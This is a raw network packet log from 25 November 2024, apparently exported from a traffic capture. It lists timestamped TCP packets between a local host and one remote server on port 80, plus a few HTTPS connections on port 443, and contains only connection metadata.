Nov 25, 2024 18:28:52.581223011 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.581283092 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.581293106 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.581357002 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.586291075 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.586344004 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.586395025 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.586441994 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.591366053 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.591450930 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.591480017 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.591557026 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.596733093 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.596781969 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.596782923 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.596828938 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.601528883 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.601592064 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.601653099 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.601694107 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.606539965 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.606600046 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.606641054 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.606738091 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.611690998 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.611746073 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.611845016 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.612020969 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.616626024 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.616676092 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.616967916 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.621731997 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.621810913 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.621844053 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.622092009 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.626723051 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.626791000 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.626801968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.626866102 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.631916046 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.631969929 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.632024050 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.632258892 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.636864901 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.636919975 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.636939049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.636976004 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.641980886 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.642064095 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.677494049 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.679317951 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.679397106 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.684954882 CET	49891	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.684974909 CET	443	49891	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.739577055 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.739675999 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.739754915 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.741664886 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.741760015 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.741760015 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.741807938 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.745999098 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.746037006 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.746062040 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.746081114 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.749795914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.749876022 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.749923944 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.749974966 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.753878117 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.754010916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.754051924 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.754075050 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.757906914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.757992029 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.757994890 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.758204937 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.761802912 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.761862040 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.762021065 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.762165070 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.765491009 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.765552998 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.765594006 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.765680075 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.769273043 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.769328117 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.769382954 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.769745111 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.772936106 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.772973061 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.773030043 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.773041010 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.776565075 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.776617050 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.776667118 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.776705980 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.781765938 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.781871080 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.781960964 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.782011986 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.786928892 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.786967039 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.787039995 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.787039995 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.789863110 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.789938927 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.789952993 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.790173054 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.792896986 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.792953968 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.793061018 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.793102026 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.796293020 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.796350956 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.796361923 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.796405077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.799271107 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.799350977 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.799395084 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.799438000 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.802088022 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.802154064 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.802154064 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.802192926 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.805706024 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.805753946 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.805830002 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.805990934 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.809398890 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.809449911 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.809633970 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.809730053 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.813069105 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.813163042 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.813225985 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.813282013 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.816931009 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.817073107 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.817081928 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.817465067 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.820286036 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.820343971 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.820377111 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.820508957 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.824002981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.824053049 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.824107885 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.827677965 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.827775955 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.827816963 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.828006029 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.831384897 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.831434011 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.831473112 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.831537962 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.834889889 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.834990978 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.835014105 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.835041046 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.838614941 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.838687897 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.838694096 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.838731050 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.842345953 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.842385054 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.842405081 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.842423916 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.845880032 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.845933914 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.845966101 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.846071959 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.849721909 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.849760056 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.849771023 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.849800110 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.852229118 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.852247000 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.852304935 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.852314949 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.852325916 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.852380037 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.852854967 CET	49888	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.852866888 CET	443	49888	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.853188038 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.853241920 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.853285074 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.853327990 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.870373011 CET	49902	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.870419025 CET	443	49902	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.870472908 CET	49902	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.870697021 CET	49902	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:52.870713949 CET	443	49902	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:52.894215107 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.894795895 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.894823074 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.895361900 CET	49896	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.895369053 CET	443	49896	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.940802097 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.940886021 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.940913916 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.941004992 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.942152977 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.942203045 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.942637920 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.942756891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.942779064 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.943022966 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.945473909 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.945496082 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.945545912 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.948229074 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.948281050 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.948393106 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.948450089 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.951098919 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.951159000 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.951225042 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.951282978 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.951446056 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.951714039 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.951740980 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.952222109 CET	49894	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:52.952229023 CET	443	49894	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:52.953556061 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.953577042 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.953625917 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.956331968 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.956377983 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.956391096 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.956434965 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.959084034 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.959141970 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.959197998 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.959331989 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.961656094 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.961705923 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.961730003 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.961769104 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.963891983 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.963943958 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.963980913 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.964030027 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.966712952 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.966788054 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.966919899 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.966976881 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.968914986 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.968972921 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.968998909 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.969038963 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.971992970 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.972057104 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.972141981 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.972217083 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.972307920 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.972389936 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.972573042 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.972992897 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.973012924 CET	443	49890	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.973022938 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.973205090 CET	49890	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.974162102 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.974201918 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.974255085 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.976329088 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.976391077 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.976414919 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.976452112 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.978833914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.978887081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.978908062 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.978941917 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.980767965 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.980830908 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.980878115 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.983099937 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.983149052 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.983222961 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.983331919 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.985593081 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.985641956 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.985716105 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.985903978 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.987889051 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.987940073 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.987972975 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.988071918 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.990000963 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.990048885 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.990108013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.990171909 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.992330074 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.992383957 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.992441893 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.992511034 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.992779016 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.993024111 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.993037939 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.994127989 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.994195938 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.994707108 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.994826078 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.994853020 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.994903088 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.994993925 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.995047092 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.995054960 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.995062113 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.995238066 CET	49897	443	192.168.2.5	13.89.179.8
Nov 25, 2024 18:28:52.995263100 CET	443	49897	13.89.179.8	192.168.2.5
Nov 25, 2024 18:28:52.997004986 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.997055054 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.997092962 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.997214079 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.999483109 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.999553919 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:52.999620914 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:52.999680042 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.001540899 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.001610041 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.001643896 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.001684904 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.003860950 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.003932953 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.003968954 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.004098892 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.006135941 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.006196022 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.006201029 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.006239891 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.008476973 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.008533955 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.008579016 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.010859013 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.010925055 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.010989904 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.011158943 CET	49892	80	192.168.2.5	185.215.113.16
Nov 25, 2024 18:28:53.013122082 CET	80	49892	185.215.113.16	192.168.2.5
Nov 25, 2024 18:28:53.013194084 CET	49892	80	192.168.2.5	185.215.113.16
